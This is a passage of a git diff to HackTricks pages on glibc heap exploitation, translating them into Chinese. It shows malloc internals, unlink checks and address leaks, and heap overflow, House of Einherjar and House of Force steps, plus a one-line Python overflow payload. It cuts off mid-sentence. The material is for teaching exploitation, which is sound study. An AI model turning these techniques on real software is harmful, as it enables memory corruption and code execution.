(char *) (MORECORE_FAILURE)) - { - correction = 0; - snd_brk = (char *) (MORECORE (0)); - } - else - madvise_thp (snd_brk, correction); - } +if (snd_brk == (char *) (MORECORE_FAILURE)) +{ +correction = 0; +snd_brk = (char *) (MORECORE (0)); +} +else +madvise_thp (snd_brk, correction); +} - /* handle non-contiguous cases */ - else - { - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - /* MORECORE/mmap must correctly align */ - assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0); - else - { - front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; - if (front_misalign > 0) - { - /* - Skip over some bytes to arrive at an aligned position. - We don't need to specially mark these wasted front bytes. - They will never be accessed anyway because - prev_inuse of av->top (and any chunk created from its start) - is always true after initialization. - */ +/* handle non-contiguous cases */ +else +{ +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +/* MORECORE/mmap must correctly align */ +assert (((unsigned long) chunk2mem (brk) & MALLOC_ALIGN_MASK) == 0); +else +{ +front_misalign = (INTERNAL_SIZE_T) chunk2mem (brk) & MALLOC_ALIGN_MASK; +if (front_misalign > 0) +{ +/* +Skip over some bytes to arrive at an aligned position. +We don't need to specially mark these wasted front bytes. +They will never be accessed anyway because +prev_inuse of av->top (and any chunk created from its start) +is always true after initialization. +*/ - aligned_brk += MALLOC_ALIGNMENT - front_misalign; - } - } +aligned_brk += MALLOC_ALIGNMENT - front_misalign; +} +} - /* Find out current end of memory */ - if (snd_brk == (char *) (MORECORE_FAILURE)) - { - snd_brk = (char *) (MORECORE (0)); - } - } +/* Find out current end of memory */ +if (snd_brk == (char *) (MORECORE_FAILURE)) +{ +snd_brk = (char *) (MORECORE (0)); +} +} - /* Adjust top based on results of second sbrk */ - if (snd_brk != (char *) (MORECORE_FAILURE)) - { - av->top = (mchunkptr) aligned_brk; - set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); - av->system_mem += correction; +/* Adjust top based on results of second sbrk */ +if (snd_brk != (char *) (MORECORE_FAILURE)) +{ +av->top = (mchunkptr) aligned_brk; +set_head (av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); +av->system_mem += correction; - /* - If not the first time through, we either have a - gap due to foreign sbrk or a non-contiguous region. Insert a - double fencepost at old_top to prevent consolidation with space - we don't own. These fenceposts are artificial chunks that are - marked as inuse and are in any case too small to use. We need - two to make sizes and alignments work out. - */ +/* +If not the first time through, we either have a +gap due to foreign sbrk or a non-contiguous region. Insert a +double fencepost at old_top to prevent consolidation with space +we don't own. These fenceposts are artificial chunks that are +marked as inuse and are in any case too small to use. We need +two to make sizes and alignments work out. +*/ - if (old_size != 0) - { - /* - Shrink old_top to insert fenceposts, keeping size a - multiple of MALLOC_ALIGNMENT. We know there is at least - enough space in old_top to do this. - */ - old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK; - set_head (old_top, old_size | PREV_INUSE); +if (old_size != 0) +{ +/* +Shrink old_top to insert fenceposts, keeping size a +multiple of MALLOC_ALIGNMENT. We know there is at least +enough space in old_top to do this. +*/ +old_size = (old_size - 2 * CHUNK_HDR_SZ) & ~MALLOC_ALIGN_MASK; +set_head (old_top, old_size | PREV_INUSE); - /* - Note that the following assignments completely overwrite - old_top when old_size was previously MINSIZE. This is - intentional. We need the fencepost, even if old_top otherwise gets - lost. - */ - set_head (chunk_at_offset (old_top, old_size), - CHUNK_HDR_SZ | PREV_INUSE); - set_head (chunk_at_offset (old_top, - old_size + CHUNK_HDR_SZ), - CHUNK_HDR_SZ | PREV_INUSE); +/* +Note that the following assignments completely overwrite +old_top when old_size was previously MINSIZE. This is +intentional. We need the fencepost, even if old_top otherwise gets +lost. +*/ +set_head (chunk_at_offset (old_top, old_size), +CHUNK_HDR_SZ | PREV_INUSE); +set_head (chunk_at_offset (old_top, +old_size + CHUNK_HDR_SZ), +CHUNK_HDR_SZ | PREV_INUSE); - /* If possible, release the rest. */ - if (old_size >= MINSIZE) - { - _int_free (av, old_top, 1); - } - } - } - } - } - } /* if (av != &main_arena) */ +/* If possible, release the rest. */ +if (old_size >= MINSIZE) +{ +_int_free (av, old_top, 1); +} +} +} +} +} +} /* if (av != &main_arena) */ ``` -
### sysmalloc finale -Finish the allocation updating the arena information - +完成分配,更新区域信息 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2921C3-L2943C12 if ((unsigned long) av->system_mem > (unsigned long) (av->max_system_mem)) - av->max_system_mem = av->system_mem; - check_malloc_state (av); +av->max_system_mem = av->system_mem; +check_malloc_state (av); - /* finally, do the allocation */ - p = av->top; - size = chunksize (p); +/* finally, do the allocation */ +p = av->top; +size = chunksize (p); - /* check that one of the above allocation paths succeeded */ - if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) - { - remainder_size = size - nb; - remainder = chunk_at_offset (p, nb); - av->top = remainder; - set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); - set_head (remainder, remainder_size | PREV_INUSE); - check_malloced_chunk (av, p, nb); - return chunk2mem (p); - } +/* check that one of the above allocation paths succeeded */ +if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) +{ +remainder_size = size - nb; +remainder = chunk_at_offset (p, nb); +av->top = remainder; +set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); +set_head (remainder, remainder_size | PREV_INUSE); +check_malloced_chunk (av, p, nb); +return chunk2mem (p); +} - /* catch all failure paths */ - __set_errno (ENOMEM); - return 0; +/* catch all failure paths */ +__set_errno (ENOMEM); +return 0; ``` - ## sysmalloc_mmap
-sysmalloc_mmap code - +sysmalloc_mmap 代码 ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L2392C1-L2481C2 static void * sysmalloc_mmap (INTERNAL_SIZE_T nb, size_t pagesize, int extra_flags, mstate av) { - long int size; +long int size; - /* - Round up size to nearest page. For mmapped chunks, the overhead is one - SIZE_SZ unit larger than for normal chunks, because there is no - following chunk whose prev_size field could be used. +/* +Round up size to nearest page. For mmapped chunks, the overhead is one +SIZE_SZ unit larger than for normal chunks, because there is no +following chunk whose prev_size field could be used. - See the front_misalign handling below, for glibc there is no need for - further alignments unless we have have high alignment. - */ - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - size = ALIGN_UP (nb + SIZE_SZ, pagesize); - else - size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); +See the front_misalign handling below, for glibc there is no need for +further alignments unless we have have high alignment. +*/ +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +size = ALIGN_UP (nb + SIZE_SZ, pagesize); +else +size = ALIGN_UP (nb + SIZE_SZ + MALLOC_ALIGN_MASK, pagesize); - /* Don't try if size wraps around 0. */ - if ((unsigned long) (size) <= (unsigned long) (nb)) - return MAP_FAILED; +/* Don't try if size wraps around 0. */ +if ((unsigned long) (size) <= (unsigned long) (nb)) +return MAP_FAILED; - char *mm = (char *) MMAP (0, size, - mtag_mmap_flags | PROT_READ | PROT_WRITE, - extra_flags); - if (mm == MAP_FAILED) - return mm; +char *mm = (char *) MMAP (0, size, +mtag_mmap_flags | PROT_READ | PROT_WRITE, +extra_flags); +if (mm == MAP_FAILED) +return mm; #ifdef MAP_HUGETLB - if (!(extra_flags & MAP_HUGETLB)) - madvise_thp (mm, size); +if (!(extra_flags & MAP_HUGETLB)) +madvise_thp (mm, size); #endif - __set_vma_name (mm, size, " glibc: malloc"); +__set_vma_name (mm, size, " glibc: malloc"); - /* - The offset to the start of the mmapped region is stored in the prev_size - field of the chunk. This allows us to adjust returned start address to - meet alignment requirements here and in memalign(), and still be able to - compute proper address argument for later munmap in free() and realloc(). - */ +/* +The offset to the start of the mmapped region is stored in the prev_size +field of the chunk. This allows us to adjust returned start address to +meet alignment requirements here and in memalign(), and still be able to +compute proper address argument for later munmap in free() and realloc(). +*/ - INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ +INTERNAL_SIZE_T front_misalign; /* unusable bytes at front of new space */ - if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) - { - /* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and - MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page - aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */ - assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0); - front_misalign = 0; - } - else - front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK; +if (MALLOC_ALIGNMENT == CHUNK_HDR_SZ) +{ +/* For glibc, chunk2mem increases the address by CHUNK_HDR_SZ and +MALLOC_ALIGN_MASK is CHUNK_HDR_SZ-1. Each mmap'ed area is page +aligned and therefore definitely MALLOC_ALIGN_MASK-aligned. */ +assert (((INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK) == 0); +front_misalign = 0; +} +else +front_misalign = (INTERNAL_SIZE_T) chunk2mem (mm) & MALLOC_ALIGN_MASK; - mchunkptr p; /* the allocated/returned chunk */ +mchunkptr p; /* the allocated/returned chunk */ - if (front_misalign > 0) - { - ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign; - p = (mchunkptr) (mm + correction); - set_prev_size (p, correction); - set_head (p, (size - correction) | IS_MMAPPED); - } - else - { - p = (mchunkptr) mm; - set_prev_size (p, 0); - set_head (p, size | IS_MMAPPED); - } +if (front_misalign > 0) +{ +ptrdiff_t correction = MALLOC_ALIGNMENT - front_misalign; +p = (mchunkptr) (mm + correction); +set_prev_size (p, correction); +set_head (p, (size - correction) | IS_MMAPPED); +} +else +{ +p = (mchunkptr) mm; +set_prev_size (p, 0); +set_head (p, size | IS_MMAPPED); +} - /* update statistics */ - int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1; - atomic_max (&mp_.max_n_mmaps, new); +/* update statistics */ +int new = atomic_fetch_add_relaxed (&mp_.n_mmaps, 1) + 1; +atomic_max (&mp_.max_n_mmaps, new); - unsigned long sum; - sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size; - atomic_max (&mp_.max_mmapped_mem, sum); +unsigned long sum; +sum = atomic_fetch_add_relaxed (&mp_.mmapped_mem, size) + size; +atomic_max (&mp_.max_mmapped_mem, sum); - check_chunk (av, p); +check_chunk (av, p); - return chunk2mem (p); +return chunk2mem (p); } ``` -
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md index 7d26f6546..1d3f7621b 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/unlink.md @@ -2,8 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -### Code - +### 代码 ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -11,73 +10,72 @@ static void unlink_chunk (mstate av, mchunkptr p) { - if (chunksize (p) != prev_size (next_chunk (p))) - malloc_printerr ("corrupted size vs. prev_size"); +if (chunksize (p) != prev_size (next_chunk (p))) +malloc_printerr ("corrupted size vs. prev_size"); - mchunkptr fd = p->fd; - mchunkptr bk = p->bk; +mchunkptr fd = p->fd; +mchunkptr bk = p->bk; - if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) - malloc_printerr ("corrupted double-linked list"); +if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) +malloc_printerr ("corrupted double-linked list"); - fd->bk = bk; - bk->fd = fd; - if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) - { - if (p->fd_nextsize->bk_nextsize != p - || p->bk_nextsize->fd_nextsize != p) - malloc_printerr ("corrupted double-linked list (not small)"); +fd->bk = bk; +bk->fd = fd; +if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) +{ +if (p->fd_nextsize->bk_nextsize != p +|| p->bk_nextsize->fd_nextsize != p) +malloc_printerr ("corrupted double-linked list (not small)"); - // Added: If the FD is not in the nextsize list - if (fd->fd_nextsize == NULL) - { +// Added: If the FD is not in the nextsize list +if (fd->fd_nextsize == NULL) +{ - if (p->fd_nextsize == p) - fd->fd_nextsize = fd->bk_nextsize = fd; - else - // Link the nexsize list in when removing the new chunk - { - fd->fd_nextsize = p->fd_nextsize; - fd->bk_nextsize = p->bk_nextsize; - p->fd_nextsize->bk_nextsize = fd; - p->bk_nextsize->fd_nextsize = fd; - } - } - else - { - p->fd_nextsize->bk_nextsize = p->bk_nextsize; - p->bk_nextsize->fd_nextsize = p->fd_nextsize; - } - } +if (p->fd_nextsize == p) +fd->fd_nextsize = fd->bk_nextsize = fd; +else +// Link the nexsize list in when removing the new chunk +{ +fd->fd_nextsize = p->fd_nextsize; +fd->bk_nextsize = p->bk_nextsize; +p->fd_nextsize->bk_nextsize = fd; +p->bk_nextsize->fd_nextsize = fd; +} +} +else +{ +p->fd_nextsize->bk_nextsize = p->bk_nextsize; +p->bk_nextsize->fd_nextsize = p->fd_nextsize; +} +} } ``` +### 图形解释 -### Graphical Explanation - -Check this great graphical explanation of the unlink process: +查看这个关于 unlink 过程的精彩图形解释:

https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png

-### Security Checks +### 安全检查 -- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk -- Check also that `P->fd->bk == P` and `P->bk->fw == P` -- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` +- 检查块的指示大小是否与下一个块中指示的 prev_size 相同 +- 还要检查 `P->fd->bk == P` 和 `P->bk->fw == P` +- 如果块不是小块,检查 `P->fd_nextsize->bk_nextsize == P` 和 `P->bk_nextsize->fd_nextsize == P` -### Leaks +### 泄漏 -An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses: +未链接的块不会清理分配的地址,因此访问它可以泄漏一些有趣的地址: -Libc Leaks: +Libc 泄漏: -- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc -- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc -- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`. +- 如果 P 位于双向链表的头部,`bk` 将指向 libc 中的 `malloc_state` +- 如果 P 位于双向链表的末尾,`fd` 将指向 libc 中的 `malloc_state` +- 当双向链表仅包含一个空闲块时,P 在双向链表中,`fd` 和 `bk` 都可以泄漏 `malloc_state` 内部的地址。 -Heap leaks: +堆泄漏: -- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap -- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap -- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap +- 如果 P 位于双向链表的头部,`fd` 将指向堆中的一个可用块 +- 如果 P 位于双向链表的末尾,`bk` 将指向堆中的一个可用块 +- 如果 P 在双向链表中,`fd` 和 `bk` 都将指向堆中的一个可用块 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-overflow.md b/src/binary-exploitation/libc-heap/heap-overflow.md index 24ea86a70..50a967e2d 100644 --- a/src/binary-exploitation/libc-heap/heap-overflow.md +++ b/src/binary-exploitation/libc-heap/heap-overflow.md @@ -1,50 +1,48 @@ -# Heap Overflow +# 堆溢出 {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.** +堆溢出类似于 [**栈溢出**](../stack-overflow/),但发生在堆中。基本上,这意味着在堆中保留了一些空间来存储数据,而 **存储的数据大于保留的空间。** -In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this. +在栈溢出中,我们知道一些寄存器,如指令指针或栈帧,将从栈中恢复,并且可能会被滥用。在堆溢出的情况下,**默认情况下堆块中没有存储任何敏感信息**,因此可以被溢出。然而,它可能是敏感信息或指针,因此这种漏洞的 **严重性** **取决于** **可以被覆盖的数据** 以及攻击者如何利用这一点。 > [!TIP] -> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets). +> 为了找到溢出偏移量,您可以使用与 [**栈溢出**](../stack-overflow/#finding-stack-overflows-offsets) 相同的模式。 -### Stack Overflows vs Heap Overflows +### 栈溢出与堆溢出 -In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function. +在栈溢出中,触发漏洞时栈中将存在的排列和数据是相当可靠的。这是因为栈是线性的,总是增加在碰撞内存中,在 **程序运行的特定位置,栈内存通常存储类似类型的数据**,并且它具有一些特定的结构,末尾有一些指向每个函数使用的栈部分的指针。 -However, in the case of a heap overflow, the used memory isn’t linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. It’s **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, it’s needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed. +然而,在堆溢出的情况下,使用的内存不是线性的,而是 **分配的块通常位于内存的不同位置**(而不是一个接一个),因为 **bins 和 zones** 按大小分隔分配,并且因为 **先前释放的内存在分配新块之前被使用**。因此,**很难知道将与易受堆溢出影响的对象发生碰撞的对象**。因此,当发现堆溢出时,需要找到一种 **可靠的方法使所需对象在内存中紧挨着可以被溢出的对象**。 -One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post it’s explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks). +用于此的一种技术是 **Heap Grooming**,例如在 [**这篇文章**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) 中进行了说明。在文章中解释了当 iOS 内核中的一个区域没有足够的内存来存储内存块时,它通过一个内核页面进行扩展,并且该页面被分割成预期大小的块,这些块将按顺序使用(直到 iOS 版本 9.2,然后这些块以随机方式使用,以增加这些攻击的利用难度)。 -Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**. +因此,在发生堆溢出的前一篇文章中,为了强制溢出的对象与受害者对象发生碰撞,多个 **`kallocs` 被多个线程强制执行,以确保所有空闲块都被填满,并且创建一个新页面**。 -In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, it’s possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`. +为了强制用特定大小的对象填充,**与 iOS mach 端口相关的离线分配**是一个理想的候选者。通过精确设置消息的大小,可以准确指定 `kalloc` 分配的大小,当相应的 mach 端口被销毁时,相应的分配将立即释放回 `kfree`。 -Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, it’s probable that this object will be followed by a victim object. +然后,这些占位符中的一些可以被 **释放**。**`kalloc.4096` 空闲列表以后进先出顺序释放元素**,这基本上意味着如果一些占位符被释放,并且利用尝试在分配易受溢出影响的对象时分配多个受害者对象,则该对象很可能会被一个受害者对象跟随。 -### Example libc +### 示例 libc -[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also. +[**在此页面**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) 可以找到一个基本的堆溢出仿真,展示了如何通过覆盖下一个块的 prev in use 位和 prev size 的位置来 **合并一个已使用的块**(使其认为是未使用的)并 **再次分配它**,能够覆盖在不同指针中使用的数据。 -Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**. +另一个来自 [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) 的示例展示了一个非常基本的 CTF 示例,其中 **堆溢出** 可以被滥用以调用赢家函数以 **获取标志**。 -In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to. +在 [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) 示例中,可以看到如何通过滥用缓冲区溢出来 **覆盖在一个临近块中的地址**,该地址将 **写入来自用户的任意数据**。 -### Example ARM64 - -In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as: +### 示例 ARM64 +在页面 [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) 中,您可以找到一个堆溢出示例,其中要执行的命令存储在溢出块的下一个块中。因此,可以通过用简单的利用覆盖它来修改执行的命令,例如: ```bash python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt ``` - -### Other examples +### 其他示例 - [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/) - - We use an Integer Overflow vulnerability to get a Heap Overflow. - - We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution. +- 我们利用整数溢出漏洞来获取堆溢出。 +- 我们破坏指向溢出块内 `struct` 中函数的指针,以设置如 `system` 的函数并获得代码执行。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-einherjar.md b/src/binary-exploitation/libc-heap/house-of-einherjar.md index 28c6fd437..63dc2d365 100644 --- a/src/binary-exploitation/libc-heap/house-of-einherjar.md +++ b/src/binary-exploitation/libc-heap/house-of-einherjar.md @@ -2,48 +2,48 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -### Code +### 代码 -- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) -- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache) +- 查看示例 [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) +- 或者查看 [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation)(你可能需要填充 tcache) -### Goal +### 目标 -- The goal is to allocate memory in almost any specific address. +- 目标是在几乎任何特定地址分配内存。 -### Requirements +### 要求 -- Create a fake chunk when we want to allocate a chunk: - - Set pointers to point to itself to bypass sanity checks -- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag. -- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk - - The fake chunk size must also have been set the same size to bypass sanity checks -- For constructing these chunks, you will need a heap leak. +- 当我们想要分配一个块时,创建一个假块: +- 设置指针指向自身以绕过完整性检查 +- 使用一个字节溢出从一个块到下一个块的空字节来修改 `PREV_INUSE` 标志。 +- 在被空字节滥用的块的 `prev_size` 中指示它与假块之间的差异 +- 假块的大小也必须设置为相同的大小以绕过完整性检查 +- 构造这些块时,你需要一个堆泄漏。 -### Attack +### 攻击 -- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections -- 2 other chunks (`B` and `C`) are allocated -- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before - - This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks. -- Then, the tcache is filled -- Then, `C` is freed so it consolidates with the fake chunk `A` -- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk - - The house of Einherjar finishes here -- This can be continued with a fast bin attack or Tcache poisoning: - - Free `B` to add it to the fast bin / Tcache - - `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside) - - Then, 2 mallocs are done and the second one is going to be **allocating the target address** +- 在攻击者控制的块内创建一个假块 `A`,用 `fd` 和 `bk` 指向原始块以绕过保护 +- 分配另外两个块(`B` 和 `C`) +- 在 `B` 中滥用 off by one,清除 `prev in use` 位,并用 `C` 块分配位置与假块 `A` 之间的差异覆盖 `prev_size` 数据 +- 这个 `prev_size` 和假块 `A` 中的大小必须相同以绕过检查。 +- 然后,填充 tcache +- 然后,释放 `C` 以便与假块 `A` 合并 +- 然后,创建一个新的块 `D`,它将从假块 `A` 开始并覆盖块 `B` +- Einherjar 之家在这里结束 +- 这可以通过快速 bin 攻击或 Tcache 中毒继续: +- 释放 `B` 以将其添加到快速 bin / Tcache +- `B` 的 `fd` 被覆盖,使其指向目标地址,滥用 `D` 块(因为它包含 `B`) +- 然后,进行 2 次 malloc,第二次将 **分配目标地址** -## References and other examples +## 参考和其他示例 - [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c) - **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad) - - After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets. +- 释放指针后它们并未被置为 null,因此仍然可以访问它们的数据。因此,一个块被放置在未排序的 bin 中并泄漏它包含的指针(libc leak),然后在未排序的 bin 中放置一个新的堆并泄漏从它获取的指针的堆地址。 - [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/) - - Null-byte overflow bug in `strtok`. - - Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive. +- `strtok` 中的空字节溢出漏洞。 +- 使用 Einherjar 之家获取重叠块的情况,并通过 Tcache 中毒结束以获得任意写入原语。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-force.md b/src/binary-exploitation/libc-heap/house-of-force.md index 7d4fb9247..a17bdba6c 100644 --- a/src/binary-exploitation/libc-heap/house-of-force.md +++ b/src/binary-exploitation/libc-heap/house-of-force.md @@ -2,45 +2,43 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -### Code +### 代码 -- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size` - - You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want. +- 该技术已被修补([**在这里**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)),并产生此错误:`malloc(): corrupted top size` +- 如果需要,您可以尝试[**这里的代码**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)进行测试。 -### Goal +### 目标 -- The goal of this attack is to be able to allocate a chunk in a specific address. +- 此攻击的目标是能够在特定地址分配一个块。 -### Requirements +### 要求 -- An overflow that allows to overwrite the size of the top chunk header (e.g. -1). -- Be able to control the size of the heap allocation +- 一个允许覆盖顶部块头部大小的溢出(例如 -1)。 +- 能够控制堆分配的大小。 -### Attack +### 攻击 -If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space. - -Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated: +如果攻击者想要在地址 P 中分配一个块以覆盖此处的值。他首先通过`-1`(可能通过溢出)覆盖顶部块的大小。这确保了 malloc 不会使用 mmap 进行任何分配,因为顶部块将始终有足够的空间。 +然后,计算顶部块地址与要分配的目标空间之间的距离。这是因为将执行一个具有该大小的 